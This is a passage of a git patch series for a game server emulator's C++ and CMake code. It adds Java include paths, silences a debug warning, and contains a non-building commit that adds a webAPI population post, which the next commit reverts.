From 0c844153922f7f8f3a34091f6f8f320bdf6fa2c2 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 10 Feb 2016 10:18:42 -0600 Subject: [PATCH 01/19] cmake's still not always respecting JAVA_HOME --- cmake/linux/FindJNI.cmake | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/cmake/linux/FindJNI.cmake b/cmake/linux/FindJNI.cmake index da46a7d2..fc15c9cc 100644 --- a/cmake/linux/FindJNI.cmake +++ b/cmake/linux/FindJNI.cmake @@ -103,6 +103,10 @@ JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES ${_JAVA_HOME}/jre/bin/classic ${_JAVA_HOME}/lib ${_JAVA_HOME} + /opt/java17/jre/lib/i386 + /opt/java17/jre/lib + /opt/java17/jre + /opt/java17/lib /usr/java/jre/lib/i386 /usr/java/jre/lib /usr/lib @@ -152,6 +156,8 @@ set(JAVA_AWT_INCLUDE_DIRECTORIES "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include" ${_JAVA_HOME}/include + /opt/java17/include + /opt/java17/jre/include /usr/include /usr/local/include /usr/lib/java/include From 50cf4f74863df732e380199c4f04e73702080a53 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Mon, 15 Feb 2016 11:48:37 -0600 Subject: [PATCH 02/19] this warning is annoying and likely just a remnant of the japanese language version of the game - we can fix all the warned creatures if we turn it on, log them, and edit a custom creature_names file, but for now let's skip it --- .../library/serverScript/src/shared/ScriptMethodsString.cpp | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/engine/server/library/serverScript/src/shared/ScriptMethodsString.cpp b/engine/server/library/serverScript/src/shared/ScriptMethodsString.cpp index 344f0207..6f6c7059 100755 --- a/engine/server/library/serverScript/src/shared/ScriptMethodsString.cpp +++ b/engine/server/library/serverScript/src/shared/ScriptMethodsString.cpp @@ -101,7 +101,8 @@ jstring JNICALL ScriptMethodsStringNamespace::getString(JNIEnv *env, jobject sel return result.getReturnValue(); } - DEBUG_WARNING(true, ("JavaLibrary::log failed to localize the stringId(%s, %s)", table.c_str(), asciiId.c_str())); + //TODO? this warning is annoying and likely just a remnant of the japanese language version of the game + //DEBUG_WARNING(true, ("JavaLibrary::log failed to localize the stringId(%s, %s)", table.c_str(), asciiId.c_str())); return 0; From dc2b683c42d4948eaaa5f6a83cc5f0cd611a6e06 Mon Sep 17 00:00:00 2001 From: swg Date: Thu, 5 May 2016 08:24:49 +0100 Subject: [PATCH 03/19] help me darthargus, this doesnt build at all .. --- .../CentralServer/src/CMakeLists.txt | 3 + .../src/shared/CentralServer.cpp | 129 +++++++----------- 2 files changed, 52 insertions(+), 80 deletions(-) mode change 100644 => 100755 engine/server/application/CentralServer/src/CMakeLists.txt diff --git a/engine/server/application/CentralServer/src/CMakeLists.txt b/engine/server/application/CentralServer/src/CMakeLists.txt old mode 100644 new mode 100755 index 338554da..1bfd4dd6 --- a/engine/server/application/CentralServer/src/CMakeLists.txt +++ b/engine/server/application/CentralServer/src/CMakeLists.txt @@ -154,6 +154,7 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary + ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(CentralServer @@ -190,5 +191,7 @@ target_link_libraries(CentralServer localizationArchive unicode unicodeArchive + webAPI + ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.cpp b/engine/server/application/CentralServer/src/shared/CentralServer.cpp index 35d9e51c..7918cb53 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.cpp +++ b/engine/server/application/CentralServer/src/shared/CentralServer.cpp @@ -123,6 +123,9 @@ #include +// Trying todo something here ... +#include "webAPI.h" + namespace CentralServerNamespace { bool gs_connectionServersPublic=false; @@ -587,7 +590,7 @@ void CentralServer::getReadyGameServers(std::vector &theList) GameServerConnection * CentralServer::getRandomGameServer(void) { if (m_gameServerConnectionsList.empty()) - return NULL; + return nullptr; // m_gameServerConnectionsList ***DOES NOT*** contain the DB server so // we don't have to worry about checking for and excluding the DB server @@ -611,7 +614,7 @@ GameServerConnection * CentralServer::getRandomGameServer(void) indexNextGameServer = 0; } - return NULL; + return nullptr; } //----------------------------------------------------------------------- @@ -696,7 +699,7 @@ void CentralServer::launchStartingProcesses() const if (!m_taskManager || !m_taskManager->isConnected() || (m_clusterId == 0)) { if (!m_taskManager) - REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager is NULL\n")); + REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager is nullptr\n")); else if (!m_taskManager->isConnected()) REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager->isConnected() is false\n")); @@ -820,7 +823,7 @@ void CentralServer::launchStartingPlanetServers() char const * const p = ConfigCentralServer::getStartPlanet(i); if (p) { - FATAL(!*p, ("CentralServer::launchStartingPlanetServers: ConfigCentralServer::getStartPlanet(%d) specified a non-null but empty planet name", i)); + FATAL(!*p, ("CentralServer::launchStartingPlanetServers: ConfigCentralServer::getStartPlanet(%d) specified a non-nullptr but empty planet name", i)); std::string planetName; std::string hostName; @@ -1066,59 +1069,12 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons // Forward this message to the dbProcess sendToGameServer(m_dbProcessServerProcessId, t, true); } - else if(message.isType("ChunkObjectListMessage")) - { - Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); - ChunkObjectListMessage t(ri); - - DEBUG_FATAL(true,("Got ChunkObjectListMessage. Thought it was deprecated.\n")); - // handleChunkList(t.getProcess(), t.getIds()); - } else if(message.isType("LocateStructureMessage")) { Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); LocateStructureMessage t(ri); sendToPlanetServer(t.getSceneId(), t, true); } - else if(message.isType("RequestObjectMessage")) - { - DEBUG_FATAL(true,("Got RequestObjectMessage. Thought this went away.")); - - // Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); - // RequestObjectMessage t(ri); - // // tell the authoritative object to create a proxy - // const GameServerConnection *gameServer = getGameServer(t.getProcess()); - // NOT_NULL(gameServer); - // uint32 authId = sendToAuthoritativeServer(t.getId(), - // LoadObjectMessage(t.getId(), t.getProcess(), gameServer->getGameServiceAddress(), gameServer->getGameServicePort(), false), - // true); - // // if we sent the message to the database process, mark it as being - // // authoritative for this object - // if (authId == m_dbProcessServerProcessId) - // { - // addObjectToMap(t.getId(), authId, gameServer->getSceneId(), true); - // m_pendingLoadingObjects[t.getId()] = t.getProcess(); - // } - } - else if(message.isType("CreateNewObjectMessage")) - { - DEBUG_FATAL(true,("Ain't this supposed to be deprecated or something?")); - } - else if(message.isType("SetObjectPositionMessage")) - { - //@todo remove this message from the library - DEBUG_FATAL(true,("Got SetObjectPositionMessage. Thought this went away")); - } - else if(message.isType("FailedToLoadObjectMessage")) - { - //@todo remove this message from the library - DEBUG_FATAL(true,("Received Failed To Load Object Message. Thought it was depricated\n")); - } - else if(message.isType("ReleaseAuthoritativeMessage")) - { - //@todo remove this message from the library - DEBUG_FATAL(true, ("Received ReleaseAuthoritative for. Thought it was deprecated.")); - } else if(message.isType("ForceUnloadObjectMessage")) { //N.B. This message can come from a game server or from the planet server. @@ -1128,7 +1084,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons ForceUnloadObjectMessage t(ri); //@todo: figure out some way to handle this (such as forwarding to PlanetServers), or remove every case where it's sent - // forceUnload(t.getId(),t.getPermaDelete()); + //forceUnload(t.getId(),t.getPermaDelete()); } //Character Creation Messages else if(message.isType("ConnectionCreateCharacter")) @@ -1495,7 +1451,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ConnectionServerConnection * c = (*ci); - if ( (c != NULL) + if ( (c != nullptr) && !c->getChatServiceAddress().empty() && (c->getChatServicePort() != 0)) { @@ -1537,13 +1493,13 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ChatServerConnection *connection = (*iterChatServerConnections); - if (connection != NULL) + if (connection != nullptr) { connection->send(address, true); } else { - REPORT_LOG(true, ("Trying to send the customer service server: chat server service address to a NULL chat server\n")); + REPORT_LOG(true, ("Trying to send the customer service server: chat server service address to a nullptr chat server\n")); } } } @@ -1556,7 +1512,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ConnectionServerConnection * c = (*ci); - if ( (c != NULL) + if ( (c != nullptr) && !c->getCustomerServiceAddress().empty() && (c->getCustomerServicePort() != 0)) { @@ -1631,7 +1587,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); const RequestGameServerForLoginMessage msg(ri); - time_t const timeNow = ::time(NULL); + time_t const timeNow = ::time(nullptr); PlayerSceneMapType::const_iterator i = m_playerSceneMap.find(msg.getCharacterId()); if ((i != m_playerSceneMap.end()) && (i->second.second > timeNow)) { @@ -1892,14 +1848,14 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons } else { - if(getInstance().m_transferServerConnection != NULL) + if(getInstance().m_transferServerConnection != nullptr) { getInstance().m_transferServerConnection->disconnect(); getInstance().m_transferServerConnection = 0; s_retryTransferServerConnection = false; } - if(getInstance().m_stationPlayersCollectorConnection != NULL) + if(getInstance().m_stationPlayersCollectorConnection != nullptr) { getInstance().m_stationPlayersCollectorConnection->disconnect(); getInstance().m_stationPlayersCollectorConnection = 0; @@ -1947,11 +1903,11 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons if (iterFind != s_pendingRenameCharacter.end()) { ++(iterFind->second.second); - iterFind->second.first = ::time(NULL) + 3600; // 1 hour timeout + iterFind->second.first = ::time(nullptr) + 3600; // 1 hour timeout } else { - s_pendingRenameCharacter.insert(std::make_pair(msg.getValue().second.first, std::make_pair((::time(NULL) + 3600), 1))); // 1 hour timeout + s_pendingRenameCharacter.insert(std::make_pair(msg.getValue().second.first, std::make_pair((::time(nullptr) + 3600), 1))); // 1 hour timeout } // tell the chat server to destroy any avatar with the new name, but only if the first name changed @@ -2099,11 +2055,11 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { i->second.first = ssfp.getValue().second.first; if (ssfp.getValue().second.second) - i->second.second = ::time(NULL) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds()); + i->second.second = ::time(nullptr) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds()); } else { - m_playerSceneMap[ssfp.getValue().first]=std::make_pair(ssfp.getValue().second.first, (ssfp.getValue().second.second ? (::time(NULL) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds())) : 0)); + m_playerSceneMap[ssfp.getValue().first]=std::make_pair(ssfp.getValue().second.first, (ssfp.getValue().second.second ? (::time(nullptr) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds())) : 0)); } } } @@ -2250,7 +2206,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage > const msg(ri); - m_timePopulationStatisticsRefresh = ::time(NULL); + m_timePopulationStatisticsRefresh = ::time(nullptr); m_populationStatistics = msg.getValue(); } else if (message.isType("GcwScoreStatRsp")) @@ -2258,7 +2214,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage, std::pair >, std::map > > > > const msg(ri); - m_timeGcwScoreStatisticsRefresh = ::time(NULL); + m_timeGcwScoreStatisticsRefresh = ::time(nullptr); std::string const timeGcwScoreStatisticsRefreshStr = CalendarTime::convertEpochToTimeStringLocal(m_timeGcwScoreStatisticsRefresh); std::map const & gcwImperialScorePercentile = msg.getValue().first; @@ -2330,7 +2286,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage >, std::map > > > const msg(ri); - m_timeLastLoginTimeStatisticsRefresh = ::time(NULL); + m_timeLastLoginTimeStatisticsRefresh = ::time(nullptr); m_lastLoginTimeStatistics = msg.getValue().first; m_createTimeStatistics = msg.getValue().second; } @@ -2606,7 +2562,7 @@ void CentralServer::removeGameServer(GameServerConnection const *gameServer) } else { - DEBUG_WARNING(true, ("A game server crashed but our process ID ptr is null.")); + DEBUG_WARNING(true, ("A game server crashed but our process ID ptr is nullptr.")); } } @@ -2814,7 +2770,19 @@ void CentralServer::update() { static int loopCount=0; m_curTime = static_cast(time(0)); + + // stella: Adding those for sending regular updates through WebAPI to the webserver + + static int population=0; + population = CentralServer::getInstance().getPlayerCount(); + std::string authURL(ConfigLoginServer::getExternalAuthUrl()); + + postBuf << "population=" << population; + postData = std::string(postBuf.str()); + + + // Tell the LoginServers if necessary if ((++loopCount > ConfigCentralServer::getUpdatePlayerCountFrequency())) { @@ -2822,13 +2790,14 @@ void CentralServer::update() // Update the population on the server sendPopulationUpdateToLoginServer(); + webAPI::simplePost(authURL, postData, ""); } if ( ConfigCentralServer::getAuctionEnabled() ) // allow auctions? { - if ( m_pAuctionTransferClient == NULL ) + if ( m_pAuctionTransferClient == nullptr ) { const char* hostName[1] = { ConfigCentralServer::getAuctionServer() }; const short port[1] = { (short)ConfigCentralServer::getAuctionPort() }; @@ -2975,7 +2944,7 @@ void CentralServer::sendToPlanetServer(const std::string &sceneId, const GameNet // ---------------------------------------------------------------------- -void CentralServer::sendToAllConnectionServers(const GameNetworkMessage & message, const bool reliable, Connection const * exclude /*= NULL*/) +void CentralServer::sendToAllConnectionServers(const GameNetworkMessage & message, const bool reliable, Connection const * exclude /*= nullptr*/) { // send to all connection servers for (ConnectionServerConnectionList::const_iterator i = m_connectionServerConnections.begin(); i != m_connectionServerConnections.end(); ++i) @@ -3005,7 +2974,7 @@ void CentralServer::sendToDBProcess(const GameNetworkMessage & message, const bo bool CentralServer::hasDBConnection() const { const GameServerConnection * g = getGameServer(getDbProcessServerProcessId()); - return (g != NULL); + return (g != nullptr); } //----------------------------------------------------------------------- @@ -3110,7 +3079,7 @@ void CentralServer::startPlanetServer(const std::string & host, const std::strin TaskSpawnProcess spawn(host.empty() ? std::string("any") : host, "PlanetServer", options, spawnDelay); CentralServer::getInstance().sendTaskMessage(spawn); - m_pendingPlanetServers[sceneId] = std::make_pair(std::make_pair(host, options), ::time(NULL)); + m_pendingPlanetServers[sceneId] = std::make_pair(std::make_pair(host, options), ::time(nullptr)); IGNORE_RETURN(m_planetsWaitingForPreload.insert(sceneId)); bool const preloadFinished = isPreloadFinished(); @@ -3119,14 +3088,14 @@ void CentralServer::startPlanetServer(const std::string & host, const std::strin else if (m_timeClusterWentIntoLoadingState <= 0) m_timeClusterWentIntoLoadingState = time(0); - if(getInstance().m_transferServerConnection != NULL && !preloadFinished) + if(getInstance().m_transferServerConnection != nullptr && !preloadFinished) { getInstance().m_transferServerConnection->disconnect(); getInstance().m_transferServerConnection = 0; s_retryTransferServerConnection = false; } - if(getInstance().m_stationPlayersCollectorConnection != NULL && ! isPreloadFinished()) + if(getInstance().m_stationPlayersCollectorConnection != nullptr && ! isPreloadFinished()) { getInstance().m_stationPlayersCollectorConnection->disconnect(); getInstance().m_stationPlayersCollectorConnection = 0; @@ -3263,7 +3232,7 @@ void CentralServer::handleGameServerForLoginMessage(const GameServerForLoginMess void CentralServer::handleExchangeListCreditsMessage(const ExchangeListCreditsMessage &msg) { LOG("Exchange", ("Central Server got exchange list credits %d.",msg.getCredits())); - if ( m_pAuctionTransferClient == NULL ) + if ( m_pAuctionTransferClient == nullptr ) { // send failure packet } @@ -3299,7 +3268,7 @@ ConnectionServerConnection * CentralServer::getAnyConnectionServer() ConnectionServerConnection * CentralServer::getConnectionServerForAccount(StationId suid) { - ConnectionServerConnection * result = NULL; + ConnectionServerConnection * result = nullptr; ConnectionServerSUIDMap::iterator i=m_accountConnectionMap.find(suid); if (i!=m_accountConnectionMap.end()) { @@ -3707,7 +3676,7 @@ void CentralServer::checkShutdownProcess() { // if it's been "awhile" since we requested to restart the PlanetServer, // then assume that something has gone wrong, and try the restart again - time_t const timeNow = ::time(NULL); + time_t const timeNow = ::time(nullptr); if ((iterPendingPlanetServer->second.second + static_cast(ConfigCentralServer::getMaxTimeToWaitForPlanetServerStartSeconds())) < timeNow) { @@ -3982,7 +3951,7 @@ int CentralServer::getSecondsClusterHasBeenInLoadingState() const const std::map & CentralServer::getPopulationStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(NULL); + time_t const timeNow = ::time(nullptr); if (m_timePopulationStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -4004,7 +3973,7 @@ const std::map & CentralServer::getPopulationStatistics(time_t const std::map > > & CentralServer::getGcwScoreStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(NULL); + time_t const timeNow = ::time(nullptr); if (m_timeGcwScoreStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -4026,7 +3995,7 @@ const std::map > std::pair > const *, std::map > const *> CentralServer::getLastLoginTimeStatistics(time_t & refreshTime) { // periodically request updated statistics from the game server - time_t const timeNow = ::time(NULL); + time_t const timeNow = ::time(nullptr); if (m_timeLastLoginTimeStatisticsNextRefresh <= timeNow) { GameServerConnection * universeGameServerConnection = getGameServer(UniverseManager::getInstance().getUniverseProcess()); @@ -4049,7 +4018,7 @@ std::pair > const *, std::map characterMatchStatisticsRequest("LfgStatReq", 0); From 04fff0638ee249917c338da2e19a3324eeb5e322 Mon Sep 17 00:00:00 2001 From: swg Date: Thu, 5 May 2016 08:34:45 +0100 Subject: [PATCH 04/19] Revert "help me, this doesnt build at all .." This reverts commit dc2b683c42d4948eaaa5f6a83cc5f0cd611a6e06. Wrong branch, wrong everything, should not do stuff when tired ... --- .../CentralServer/src/CMakeLists.txt | 3 - .../src/shared/CentralServer.cpp | 129 +++++++++++------- 2 files changed, 80 insertions(+), 52 deletions(-) mode change 100755 => 100644 engine/server/application/CentralServer/src/CMakeLists.txt diff --git a/engine/server/application/CentralServer/src/CMakeLists.txt b/engine/server/application/CentralServer/src/CMakeLists.txt old mode 100755 new mode 100644 index 1bfd4dd6..338554da --- a/engine/server/application/CentralServer/src/CMakeLists.txt +++ b/engine/server/application/CentralServer/src/CMakeLists.txt @@ -154,7 +154,6 @@ include_directories( ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/projects ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/platform/utils ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/udplibrary - ${SWG_EXTERNALS_SOURCE_DIR}/3rd/library/webAPI ) add_executable(CentralServer @@ -191,7 +190,5 @@ target_link_libraries(CentralServer localizationArchive unicode unicodeArchive - webAPI - ${CURL_LIBRARIES} ${CMAKE_DL_LIBS} ) diff --git a/engine/server/application/CentralServer/src/shared/CentralServer.cpp b/engine/server/application/CentralServer/src/shared/CentralServer.cpp index 7918cb53..35d9e51c 100755 --- a/engine/server/application/CentralServer/src/shared/CentralServer.cpp +++ b/engine/server/application/CentralServer/src/shared/CentralServer.cpp @@ -123,9 +123,6 @@ #include -// Trying todo something here ... -#include "webAPI.h" - namespace CentralServerNamespace { bool gs_connectionServersPublic=false; @@ -590,7 +587,7 @@ void CentralServer::getReadyGameServers(std::vector &theList) GameServerConnection * CentralServer::getRandomGameServer(void) { if (m_gameServerConnectionsList.empty()) - return nullptr; + return NULL; // m_gameServerConnectionsList ***DOES NOT*** contain the DB server so // we don't have to worry about checking for and excluding the DB server @@ -614,7 +611,7 @@ GameServerConnection * CentralServer::getRandomGameServer(void) indexNextGameServer = 0; } - return nullptr; + return NULL; } //----------------------------------------------------------------------- @@ -699,7 +696,7 @@ void CentralServer::launchStartingProcesses() const if (!m_taskManager || !m_taskManager->isConnected() || (m_clusterId == 0)) { if (!m_taskManager) - REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager is nullptr\n")); + REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager is NULL\n")); else if (!m_taskManager->isConnected()) REPORT_LOG(true, ("CentralServer not launching starting processes because m_taskManager->isConnected() is false\n")); @@ -823,7 +820,7 @@ void CentralServer::launchStartingPlanetServers() char const * const p = ConfigCentralServer::getStartPlanet(i); if (p) { - FATAL(!*p, ("CentralServer::launchStartingPlanetServers: ConfigCentralServer::getStartPlanet(%d) specified a non-nullptr but empty planet name", i)); + FATAL(!*p, ("CentralServer::launchStartingPlanetServers: ConfigCentralServer::getStartPlanet(%d) specified a non-null but empty planet name", i)); std::string planetName; std::string hostName; @@ -1069,12 +1066,59 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons // Forward this message to the dbProcess sendToGameServer(m_dbProcessServerProcessId, t, true); } + else if(message.isType("ChunkObjectListMessage")) + { + Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); + ChunkObjectListMessage t(ri); + + DEBUG_FATAL(true,("Got ChunkObjectListMessage. Thought it was deprecated.\n")); + // handleChunkList(t.getProcess(), t.getIds()); + } else if(message.isType("LocateStructureMessage")) { Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); LocateStructureMessage t(ri); sendToPlanetServer(t.getSceneId(), t, true); } + else if(message.isType("RequestObjectMessage")) + { + DEBUG_FATAL(true,("Got RequestObjectMessage. Thought this went away.")); + + // Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); + // RequestObjectMessage t(ri); + // // tell the authoritative object to create a proxy + // const GameServerConnection *gameServer = getGameServer(t.getProcess()); + // NOT_NULL(gameServer); + // uint32 authId = sendToAuthoritativeServer(t.getId(), + // LoadObjectMessage(t.getId(), t.getProcess(), gameServer->getGameServiceAddress(), gameServer->getGameServicePort(), false), + // true); + // // if we sent the message to the database process, mark it as being + // // authoritative for this object + // if (authId == m_dbProcessServerProcessId) + // { + // addObjectToMap(t.getId(), authId, gameServer->getSceneId(), true); + // m_pendingLoadingObjects[t.getId()] = t.getProcess(); + // } + } + else if(message.isType("CreateNewObjectMessage")) + { + DEBUG_FATAL(true,("Ain't this supposed to be deprecated or something?")); + } + else if(message.isType("SetObjectPositionMessage")) + { + //@todo remove this message from the library + DEBUG_FATAL(true,("Got SetObjectPositionMessage. Thought this went away")); + } + else if(message.isType("FailedToLoadObjectMessage")) + { + //@todo remove this message from the library + DEBUG_FATAL(true,("Received Failed To Load Object Message. Thought it was depricated\n")); + } + else if(message.isType("ReleaseAuthoritativeMessage")) + { + //@todo remove this message from the library + DEBUG_FATAL(true, ("Received ReleaseAuthoritative for. Thought it was deprecated.")); + } else if(message.isType("ForceUnloadObjectMessage")) { //N.B. This message can come from a game server or from the planet server. @@ -1084,7 +1128,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons ForceUnloadObjectMessage t(ri); //@todo: figure out some way to handle this (such as forwarding to PlanetServers), or remove every case where it's sent - //forceUnload(t.getId(),t.getPermaDelete()); + // forceUnload(t.getId(),t.getPermaDelete()); } //Character Creation Messages else if(message.isType("ConnectionCreateCharacter")) @@ -1451,7 +1495,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ConnectionServerConnection * c = (*ci); - if ( (c != nullptr) + if ( (c != NULL) && !c->getChatServiceAddress().empty() && (c->getChatServicePort() != 0)) { @@ -1493,13 +1537,13 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ChatServerConnection *connection = (*iterChatServerConnections); - if (connection != nullptr) + if (connection != NULL) { connection->send(address, true); } else { - REPORT_LOG(true, ("Trying to send the customer service server: chat server service address to a nullptr chat server\n")); + REPORT_LOG(true, ("Trying to send the customer service server: chat server service address to a NULL chat server\n")); } } } @@ -1512,7 +1556,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { ConnectionServerConnection * c = (*ci); - if ( (c != nullptr) + if ( (c != NULL) && !c->getCustomerServiceAddress().empty() && (c->getCustomerServicePort() != 0)) { @@ -1587,7 +1631,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); const RequestGameServerForLoginMessage msg(ri); - time_t const timeNow = ::time(nullptr); + time_t const timeNow = ::time(NULL); PlayerSceneMapType::const_iterator i = m_playerSceneMap.find(msg.getCharacterId()); if ((i != m_playerSceneMap.end()) && (i->second.second > timeNow)) { @@ -1848,14 +1892,14 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons } else { - if(getInstance().m_transferServerConnection != nullptr) + if(getInstance().m_transferServerConnection != NULL) { getInstance().m_transferServerConnection->disconnect(); getInstance().m_transferServerConnection = 0; s_retryTransferServerConnection = false; } - if(getInstance().m_stationPlayersCollectorConnection != nullptr) + if(getInstance().m_stationPlayersCollectorConnection != NULL) { getInstance().m_stationPlayersCollectorConnection->disconnect(); getInstance().m_stationPlayersCollectorConnection = 0; @@ -1903,11 +1947,11 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons if (iterFind != s_pendingRenameCharacter.end()) { ++(iterFind->second.second); - iterFind->second.first = ::time(nullptr) + 3600; // 1 hour timeout + iterFind->second.first = ::time(NULL) + 3600; // 1 hour timeout } else { - s_pendingRenameCharacter.insert(std::make_pair(msg.getValue().second.first, std::make_pair((::time(nullptr) + 3600), 1))); // 1 hour timeout + s_pendingRenameCharacter.insert(std::make_pair(msg.getValue().second.first, std::make_pair((::time(NULL) + 3600), 1))); // 1 hour timeout } // tell the chat server to destroy any avatar with the new name, but only if the first name changed @@ -2055,11 +2099,11 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons { i->second.first = ssfp.getValue().second.first; if (ssfp.getValue().second.second) - i->second.second = ::time(nullptr) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds()); + i->second.second = ::time(NULL) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds()); } else { - m_playerSceneMap[ssfp.getValue().first]=std::make_pair(ssfp.getValue().second.first, (ssfp.getValue().second.second ? (::time(nullptr) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds())) : 0)); + m_playerSceneMap[ssfp.getValue().first]=std::make_pair(ssfp.getValue().second.first, (ssfp.getValue().second.second ? (::time(NULL) + static_cast(ConfigCentralServer::getCtsDenyLoginThresholdSeconds())) : 0)); } } } @@ -2206,7 +2250,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage > const msg(ri); - m_timePopulationStatisticsRefresh = ::time(nullptr); + m_timePopulationStatisticsRefresh = ::time(NULL); m_populationStatistics = msg.getValue(); } else if (message.isType("GcwScoreStatRsp")) @@ -2214,7 +2258,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage, std::pair >, std::map > > > > const msg(ri); - m_timeGcwScoreStatisticsRefresh = ::time(nullptr); + m_timeGcwScoreStatisticsRefresh = ::time(NULL); std::string const timeGcwScoreStatisticsRefreshStr = CalendarTime::convertEpochToTimeStringLocal(m_timeGcwScoreStatisticsRefresh); std::map const & gcwImperialScorePercentile = msg.getValue().first; @@ -2286,7 +2330,7 @@ void CentralServer::receiveMessage(const MessageDispatch::Emitter & source, cons Archive::ReadIterator ri = static_cast(message).getByteStream().begin(); GenericValueTypeMessage >, std::map > > > const msg(ri); - m_timeLastLoginTimeStatisticsRefresh = ::time(nullptr); + m_timeLastLoginTimeStatisticsRefresh = ::time(NULL); m_lastLoginTimeStatistics = msg.getValue().first; m_createTimeStatistics = msg.getValue().second; } @@ -2562,7 +2606,7 @@ void CentralServer::removeGameServer(GameServerConnection const *gameServer) } else { - DEBUG_WARNING(true, ("A game server crashed but our process ID ptr is nullptr.")); + DEBUG_WARNING(true, ("A game server crashed but our process ID ptr is null.")); } } @@ -2770,19 +2814,7 @@ void CentralServer::update() { static int loopCount=0; m_curTime = static_cast(time(0)); - - // stella: Adding those for sending regular updates through WebAPI to the webserver - - static int population=0; - population = CentralServer::getInstance().getPlayerCount(); - std::string authURL(ConfigLoginServer::getExternalAuthUrl()); - - postBuf << "population=" << population; - postData = std::string(postBuf.str()); - - - // Tell the LoginServers if necessary if ((++loopCount > ConfigCentralServer::getUpdatePlayerCountFrequency())) { @@ -2790,14 +2822,13 @@ void CentralServer::update() // Update the population on the server sendPopulationUpdateToLoginServer(); - webAPI::simplePost(authURL, postData, ""); } if ( ConfigCentralServer::getAuctionEnabled() ) // allow auctions? { - if ( m_pAuctionTransferClient == nullptr ) + if ( m_pAuctionTransferClient == NULL ) { const char* hostName[1] = { ConfigCentralServer::getAuctionServer() }; const short port[1] = { (short)ConfigCentralServer::getAuctionPort() }; @@ -2944,7 +2975,7 @@ void CentralServer::sendToPlanetServer(const std::string &sceneId, const GameNet // ---------------------------------------------------------------------- -void CentralServer::sendToAllConnectionServers(const GameNetworkMessage & message, const bool reliable, Connection const * exclude /*= nullptr*/) +void CentralServer::sendToAllConnectionServers(const GameNetworkMessage & message, const bool reliable, Connection const * exclude /*= NULL*/) { // send to all connection servers for (ConnectionServerConnectionList::const_iterator i = 